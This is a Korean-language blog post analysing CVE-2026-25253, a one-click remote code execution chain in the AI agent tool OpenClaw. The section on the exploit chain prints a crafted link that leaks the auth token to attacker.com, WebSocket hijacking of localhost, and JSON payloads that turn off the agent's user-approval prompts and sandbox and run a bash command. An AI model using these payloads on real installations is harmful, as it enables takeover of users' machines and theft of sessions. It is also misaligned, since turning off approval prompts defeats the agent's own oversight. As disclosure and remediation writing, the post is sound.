OpenClaw 1-Click RCE 취약점(CVE-2026-25253) 심층 분석: 링크 클릭 한 번으로 루트 권한 탈취까지
최근 공개된 OpenClaw(구 Moltbot)의 치명적인 취약점 CVE-2026-25253을 분석합니다. 인증 토큰 유출과 WebSocket 하이재킹을 결합한 1-Click RCE 익스플로잇 체인을 상세히 파헤칩니다.
최근 AI 에이전트 도구인 **OpenClaw (구 Clawdbot/Moltbot)**에서 치명적인 보안 취약점이 발견되었습니다. CVE-2026-25253으로 명명된 이 취약점은 피해자가 악성 링크를 클릭하는 것만으로(1-Click) 공격자가 원격에서 시스템 제어권을 탈취할 수 있게 만듭니다.
이 글에서는 DepthFirst와 ZeroPath 팀이 공개한 분석 내용을 바탕으로, 이 취약점이 어떻게 인증 토큰 유출부터 원격 코드 실행(RCE)까지 이어지는지 기술적 원리를 상세히 분석해보겠습니다.
1. 취약점 개요
- CVE-ID: CVE-2026-25253
- 영향받는 버전: v2026.1.24-1 이하
- 심각도: Critical (CVSS 8.8 ~ 9.8 예상)
- 공격 벡터: 악성 웹사이트 방문 또는 링크 클릭
이 공격은 단일 버그가 아닌, 여러 논리적 결함이 연결된 **익스플로잇 체인(Exploit Chain)**입니다.
2. 익스플로잇 체인 분석
공격 과정은 크게 3단계로 나뉩니다: 토큰 유출 → WebSocket 하이재킹 → 샌드박스 무력화 및 RCE.
단계 1: 인증 토큰 유출 (Auth Token Leak)
OpenClaw는 URL 쿼리 파라미터를 통해 Gateway 연결 설정을 변경할 수 있는 기능을 가지고 있었습니다.
- 설정 변경:
app-settings.ts는gatewayUrl파라미터를 검증 없이 받아들여 로컬 설정에 저장합니다. - 자동 연결: 설정이 변경되면
app-lifecycle.ts가 즉시 새로운 Gateway로 연결을 시도합니다. - 토큰 전송: 연결 시 핸드셰이크 과정에서 민감한
authToken을 자동으로 전송합니다.
공격자는 이를 이용해 피해자를 다음과 같은 URL로 유도합니다:
http://victim-openclaw-dashboard.com?gatewayUrl=ws://attacker.com:8080피해자가 이 링크를 클릭하면, OpenClaw 대시보드는 공격자의 서버(attacker.com)로 연결을 시도하며 인증 토큰을 공격자에게 상납하게 됩니다.
단계 2: 로컬호스트 우회 (CSWSH)
대부분의 OpenClaw 사용자는 로컬(localhost) 환경에서 에이전트를 실행합니다. 공격자가 토큰을 얻었다 해도, 외부 인터넷에서 피해자의 localhost에 직접 접속할 수는 없습니다.
하지만 여기서 두 번째 취약점이 등장합니다: WebSocket Origin 검증 부재.
OpenClaw의 WebSocket 서버는 요청의 Origin 헤더를 검증하지 않습니다. 이는 CSWSH (Cross-Site WebSocket Hijacking) 공격을 가능하게 합니다.
- 피해자가 공격자의 웹사이트(
attacker.com)에 머무르는 동안, - 공격자의 자바스크립트 코드가 피해자의 브라우저를 통해
ws://localhost:18789로 WebSocket 연결을 시도합니다. - 앞서 탈취한
authToken을 사용하여 인증을 통과합니다.
브라우저는 HTTP 요청과 달리 WebSocket 연결에 대해 SOP(Same Origin Policy)를 엄격하게 적용하지 않으며, 서버 측의 검증 부재로 인해 연결이 성립됩니다.
단계 3: 샌드박스 무력화 및 RCE
연결에 성공한 공격자는 이제 OpenClaw API를 호출할 수 있는 권한을 얻었습니다. 하지만 OpenClaw는 위험한 명령어 실행 시 사용자 승인을 요구하거나 컨테이너 샌드박스 내에서 실행하는 보호 장치가 있습니다.
그러나 공격자는 관리자 권한 토큰을 가지고 있으므로, API를 통해 이 보호 장치마저 꺼버릴 수 있습니다.
- 사용자 승인 비활성화:
{ "method": "exec.approvals.set", "params": { "defaults": { "ask": "off" } } } - 컨테이너 탈출: 실행 호스트를
gateway(호스트 머신)로 변경.
마지막으로, 제약이 사라진 상태에서 임의의 명령어를 실행합니다.
{
"method": "node.invoke",
"params": {
"command": "system.run",
"params": { "cmd": "bash -c 'echo hacked > /tmp/hacked'" }
}
}3. 또 다른 위협: 브라우저 릴레이 악용
ZeroPath 팀은 또 다른 벡터를 발견했습니다. OpenClaw의 브라우저 제어용 릴레이 서버(/cdp 엔드포인트) 역시 Origin 검증이 없어, 악성 웹사이트가 로컬 WebSocket(ws://127.0.0.1:18792/cdp)에 접속하여 Chrome DevTools Protocol을 제어할 수 있었습니다.
이를 통해 공격자는 피해자의 브라우저에 열려 있는 다른 탭(Gmail, 사내망 등)의 쿠키나 세션을 탈취할 수 있습니다.
4. 대응 및 교훈
OpenClaw 팀은 해당 취약점을 제보받은 즉시 패치를 배포했습니다.
- 패치 내용: Gateway URL 변경 시 사용자 확인 절차 추가, WebSocket Origin 검증 강화, 샌드박스 설정 API 접근 제한 등.
- 사용자 조치: 즉시 최신 버전으로 업데이트하고, 만약 구버전을 사용 중이었다면 인증 토큰을 재발급받아야 합니다.
이 사례는 **"편의성을 위한 기능(URL을 통한 설정 변경)이 보안의 가장 큰 구멍이 될 수 있다"**는 교훈을 줍니다. 또한 로컬호스트에서 실행되는 서비스라도 CSWSH 공격에 대비해 Origin 헤더 검증이 필수적임을 다시 한번 상기시켜 줍니다.
Reference:
댓글